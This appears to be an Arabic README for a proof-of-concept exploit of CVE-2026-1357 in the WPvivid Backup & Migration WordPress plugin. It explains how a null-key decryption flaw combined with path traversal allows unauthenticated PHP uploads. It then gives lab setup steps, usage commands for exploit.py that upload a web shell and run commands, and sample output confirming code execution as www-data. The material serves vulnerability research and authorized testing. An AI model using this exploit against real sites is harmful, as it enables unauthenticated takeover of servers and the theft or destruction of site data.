
CVE-2026-1357 — استغلال RCE بدون مصادقة في WPvivid Backup & Migration ≤ 0.9.123
رفع ملفات تعسفي غير مصادَق عليه → تنفيذ أكواد عن بُعد
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (حرجة) |
| الإضافة | WPvivid Backup & Migration |
| المتأثر | ≤ 0.9.123 |
| المُصحَّحة | 0.9.124 |
| اكتشفها | Lucas Montes (NiRoX) |
| PoC بواسطة | halilkirazkaya |
يحتوي المكوّن الإضافي WPvivid Backup & Migration (≤ 0.9.123) على ثغرة أمنية حرجة تسمح لـمهاجم غير مصادَق برفع ملفات PHP تعسفية إلى الخادم، مما يؤدي إلى تنفيذ أكواد عن بُعد (RCE).
تجمع سلسلة الاستغلال بين خطأين:
يتعامل المكوّن الإضافي مع نقل النسخ الاحتياطية عن بُعد عبر خطاف wpvivid_action=send_to_site. عند فك تشفير مفتاح الجلسة، تُرجع الدالة openssl_private_decrypt() القيمة false لمفتاح RSA غير صالح. لا يقوم المكوّن الإضافي بالتحقق من هذه القيمة ويمرّر false إلى Crypt_Rijndael من مكتبة phpseclib v1، التي تتعامل معها على أنها مفتاح فارغ بطول 16 بايت (\x00 × 16) مع وضع CBC وIV فارغ.
معامل name في حمولة JSON المُفكَّك تشفيرها غير مُنقّى. يمكن للمهاجم استخدام تسلسلات ../ لكتابة ملف PHP خارج دليل النسخ الاحتياطي المقيد إلى الدليل المتاح للعموم wp-content/uploads/.
يجب أن تكون wpvivid_api_token قد أُنشئت في إعدادات المكوّن الإضافي وألا تكون منتهية الصلاحية.
قم بتنزيل وفك ضغط WPvivid Backup & Migration الإصدار 0.9.123 (النسخة المُعرَّضة):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
سيؤدي هذا إلى إنشاء الدليل wpvivid-backuprestore/ الذي يتم تركيبه داخل حاوية Docker عبر docker-compose.yml.
docker compose up -d
http://localhost وأكمل تثبيت WordPress.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
تُقدَّم هذه الأداة لأغراض اختبار الأمان المصرّح به والتعليم فقط. الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني. استخدمها بمسؤولية.